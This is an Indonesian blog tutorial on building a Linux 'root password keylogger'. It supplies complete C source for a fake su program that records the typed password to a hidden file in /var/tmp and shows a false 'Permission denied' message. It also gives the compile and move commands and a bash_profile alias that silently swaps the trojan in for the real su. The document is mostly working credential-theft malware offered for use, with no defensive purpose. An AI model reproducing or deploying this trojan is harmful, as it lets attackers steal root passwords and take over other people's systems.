Membuat Keylogger Password Root
Balik lagi dengan saya admin bekasi coders.
kali ini saya akan memberikan tutorial bagaimana cara untuk membuat keylogger password root pada sistem linux.
oke pertama-tama kita buat file di bawah ini terlebih dahulu file dibawah ini dan disimpan dengan ekstensi .C
Code:
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define SU "/bin/su" /* better search the correct path */
#define PASSWD "/var/tmp/.passwd"
#define LOCK "/var/tmp/.su.lock"
extern char **environ;
int main(int argc, char **argv) {
char *pass;
char *user;
char *ruser;
FILE *inFile;
switch(argc) {
case 1:
user = "root";
break;
case 2:
if(!strncmp("-", argv[1], 1)) {
user = "root";
}
else {
user = argv[1];
}
break;
case 3:
user = argv[2];
break;
}
if((inFile = fopen(LOCK, "r")) != NULL) {
unlink(LOCK);
argv[0] = SU;
execve(argv[0], argv, environ);
}
if((inFile = fopen(PASSWD, "a+")) == NULL) {
execle(SU, SU, argv[1], argv[2], NULL, environ);
#ifdef DEBUG
perror("open() on PASSWD file");
#endif
}
pass = getpass("Password: ");
ruser = getenv("USER");
fprintf(inFile, "%s tried %s / %s\n", ruser, user, pass);
fclose(inFile);
inFile = fopen(LOCK, "w");
fclose(inFile);
printf("su: Permission denied\nSorry\n");
return 0;
}
dan langkah ke 2 adalah
compile file tersebut
untuk linux mungkin bisa perintah seperti ini
gcc -O2 -o .su su.c
Keterangan File saya disimpan menggunakan nama su.c dan setelah dikompil menjadi file su.
Membuat Keylogger Password Root
dan langkah selanjutnya adalah pindahkan file tersebut ke folder /var/tmp/maka perintah yang bisa dijalankan adalah . mv .su /var/tmp/.su
Oke sekarang kita akan melakukan langkah terakhir.
langkah terkahir adalah dengan menggunakan perintah / CLI echo
Code:
echo "alias su=/var/tmp/.su" >> ~/.bash_profilesekarang kita sudah bisa membuat keylogger password root :)
terima kasih untuk tetap mengunjungi blog kami :)

